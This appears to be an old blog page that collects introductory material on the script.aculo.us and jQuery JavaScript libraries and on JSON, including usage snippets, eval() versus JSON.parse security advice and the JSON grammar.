Combination Effects: Effect.Appear, Effect.BlindDown, Effect.BlindUp, Effect.DropOut, Effect.Fade, Effect.Fold, Effect.Grow, Effect.Puff, Effect.Pulsate, Effect.Shake, Effect.Shrink, Effect.SlideDown, Effect.SlideUp, Effect.Squish, Effect.SwitchOff

Effect helpers: Effect.Transitions, Effect.Methods?, Effect.tagifyText?, Effect.multiple?, Effect.toggle
Behaviours: Draggable, Droppables, Sortable, Form.Element.DelayedObserver?
Controls: Ajax.InPlaceEditor?, Ajax.InPlaceCollectionEditor?, Ajax.Autocompleter?, Autocompleter.Local?, Slider?
Miscellaneous: Builder, Sound?, Unit Testing

script.aculo.us is open source. Read up on how to contribute by finding bugs, making bug reports and helping fixing them.

Quick start

1. Download & install

Using script.aculo.us is easy! First, go to the script.aculo.us downloads page to grab yourself the latest version in a convenient package. Follow the instructions there, then return here.

Next, put prototype.js, scriptaculous.js, builder.js, effects.js, dragdrop.js, slider.js and controls.js in a directory of your website, e.g. /javascripts.

Third, load script.aculo.us in your web page. This is done by linking to the scripts in the head of your document.

  <script src="javascripts/prototype.js" type="text/javascript"></script>
  <script src="javascripts/scriptaculous.js" type="text/javascript"></script>

The scriptaculous.js loader script will automatically load in the other libraries.

2. Use it!

To call upon the functions, use HTML script tags. The best way is to define them like this:

  <script type="text/javascript" language="javascript">
      // <![CDATA[
              $('element_id').appear();
          // ]]>
  </script>

This way, you won’t have to worry about using characters like < and > in your Java Script code.

You can also use effects inside event handlers:

  <div onclick="$(this).switchOff()">
      Click here if you've seen enough.
  </div>

If you want to get tricky with it, you can pass extra options to the effect like duration, fps (frames per second), and delay.

  <div onclick="$(this).blindUp({ duration: 16 })">
    Click here if you want this to go slooooow.
  </div>

jQuery is a new type of JavaScript library

2008-05-09T12:23:00.001+05:30

jQuery is a new type of JavaScript library.

jQuery is a fast, concise, JavaScript Library that simplifies how you traverse HTML documents, handle events, perform animations, and add Ajax interactions to your web pages. jQuery is designed to change the way that you write JavaScript.

"You start with 10 lines of jQuery that would have been 20 lines of tedious DOM JavaScript. By the time you are done it's down to two or three lines and it couldn't get any shorter unless it read your mind." - Dave Methvin

What does jQuery code look like? The quick and dirty:

$("p.surprise").addClass("ohmy").show("slow");

Congratulations! You just ran a snippet of jQuery code. Wasn't that easy? There's lots of example code throughout the documentation on this site. Be sure to give all the code a test run, to see what happens.
The above code snippet looks for all paragraphs that have a class of 'surprise', adds the class 'ohmy' to them, then slowly reveals them. Click the 'Run' button to see it in action!

From Wikipedia, the free encyclopedia

jQuery is a lightweight JavaScript library that emphasizes interaction between JavaScript and HTML. It was released January 2006 at BarCamp NYC by John Resig.
Dual licensed under the MIT License and the GNU General Public License, jQuery is free and open source software.

Features

jQuery contains the following features:

DOM element selections
DOM traversal and modification, (including support for CSS 1-3 and basic XPath)
Events
CSS manipulation
Effects and animations
Ajax
Extensibility
Utilities - such as browser version and the each function.
JavaScript Plugins

Use

jQuery exists as a single JavaScript file, containing all the common DOM, Event, Effects, and Ajax functions. It can be included within any web page by using the following code:

<script type="text/javascript" src="path/to/jQuery.js"></script>

jQuery has two styles of interaction:

via the $ function, which is a factory method for the jQuery object. These functions are chainable; they each return the jQuery object
via $.-prefixed functions. These are functions which do not work in the jQuery object per se.

A typical workflow for manipulation of multiple DOM nodes begins with $ function being called with a CSS selector string, with results in the jQuery object referencing zero or more elements in the HTML page. This node set can be manipulated by applying instance methods to the jQuery object, or the nodes themselves can be manipulated. For example:

$("div.test").add("p.quote").addClass("blue").slideDown("slow");

…finds the union of all div tags with class attribute test and all p tags with class attribute quote, adds the class attribute blue to each matched element, and then slides them down with an animation. The $ and add functions affect the matched set, while the addClass and slideDown affect the referenced nodes.
The methods prefixed with $. are convenience methods or affect global properties and behaviour. For example:

$.each([1,2,3], function() {
document.write(this + 1);
});

…writes 234 to the document.
It is possible to perform Ajax routines using the $.ajax and associated methods to load and manipulate remote data.

$.ajax({
type: "POST",
url: "some.php",
data: "name=John&location=Boston",
success: function(msg){
alert( "Data Saved: " + msg );
}
});

…will request some.php with parameters name=John and location=Boston and when the request is finished successfully, the response will be alerted.

References

JavaScript Object Notation

2008-05-08T19:56:00.001+05:30

JavaScript is a general purpose programming language that was introduced as the page scripting language for Netscape Navigator. It is widely believed to be a subset of Java, but it is not. It is a Scheme-like language with C-like syntax and soft objects. JavaScript was standardized in the ECMAScript Language Specification, Third Edition.

JSON is a subset of the object literal notation of JavaScript. Since JSON is a subset of JavaScript, it can be used in the language with no muss or fuss.

var myJSONObject = {"bindings": [ {"ircEvent": "PRIVMSG", "method": "newURI", "regex": "^http://.*"}, {"ircEvent": "PRIVMSG", "method": "deleteURI", "regex": "^delete.*"}, {"ircEvent": "PRIVMSG", "method": "randomURI", "regex": "^random.*"} ] };

In this example, an object is created containing a single member "bindings", which contains an array containing three objects, each containing "ircEvent", "method", and "regex" members.

Members can be retrieved using dot or subscript operators.

myJSONObject.bindings[0].method // "newURI"

To convert a JSON text into an object, use the eval() function. eval() invokes the JavaScript compiler. Since JSON is a proper subset of JavaScript, the compiler will correctly parse the text and produce an object structure.

var myObject = eval('(' + myJSONtext + ')');

The eval function is very fast. However, it can compile and execute any JavaScript program, so there can be security issues. The use of eval is indicated when the source is trusted and competent. This is commonly the case in web applications when a web server is providing both the base page and the JSON data. There are cases where the source is not trusted. In particular, clients should never be trusted.

When security is a concern it is better to use a JSON parser. A JSON parser will recognize only JSON text and so is much safer:

var myObject = JSON.parse(myJSONtext, filter);

The optional filter parameter is a function that will be called for every key and value at every level of the final result. Each value will be replaced by the result of the filter function. This can be used to reform generic objects into instances of classes, or to transform date strings into Date objects.

myData = JSON.parse(text, function (key, value) {
return key.indexOf('date') >= 0 ? new Date(value) : value;
});

A JSON stringifier goes in the opposite direction, converting JavaScript data structures into JSON text. JSON does not support cyclic data structures, so be careful to not give cyclical structures to the JSON stringifier.

var myJSONText = JSON.stringify(myObject);

If the stringify method sees an object that contains a toJSON method, it calls the method, and stringifies the value returned. This allows an object to determine its own JSON representation.

The stringifier method can take an optional array of strings. These strings are used to select the properties that will be included in the JSON text. Otherwise, all of the properties of the object will be included. In any case, values that do not have a representation in JSON (such as functions and undefined) are excluded.

JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, Python, and many others. These properties make JSON an ideal data-interchange language.

JSON is built on two structures:

A collection of name/value pairs. In various languages, this is realized as an object, record, struct, dictionary, hash table, keyed list, or associative array.
An ordered list of values. In most languages, this is realized as an array, vector, list, or sequence.

These are universal data structures. Virtually all modern programming languages support them in one form or another. It makes sense that a data format that is interchangable with programming languages also be based on these structures.

In JSON, they take on these forms:

An object is an unordered set of name/value pairs. An object begins with { (left brace) and ends with } (right brace). Each name is followed by : (colon) and the name/value pairs are separated by , (comma).

An array is an ordered collection of values. An array begins with [ (left bracket) and ends with ] (right bracket). Values are separated by , (comma).

A value can be a string in double quotes, or a number, or true or false or null, or an object or an array. These structures can be nested.

A string is a collection of zero or more Unicode characters, wrapped in double quotes, using backslash escapes. A character is represented as a single character string. A string is very much like a C or Java string.

A number is very much like a C or Java number, except that the octal and hexadecimal formats are not used.

Whitespace can be inserted between any pair of tokens. Excepting a few encoding details, that completely describes the language.

object: {}
{ members }
members: pair
pair , members
pair: string : value
array: []
[ elements ]
elements: value
value , elements
value: string
number
object
array
true
false
null

string: ""
" chars "
chars: char
char chars
char: any-Unicode-character-
except-"-or-\-or-
control-character
\"
\\
\/
\b
\f
\n
\r
\t
\u four-hex-digits
number: int
int frac
int exp
int frac exp
int: digit
digit1-9 digits
- digit
- digit1-9 digits
frac: . digits
exp: e digits
digits: digit
digit digits
e: e
e+
e-
E
E+
E-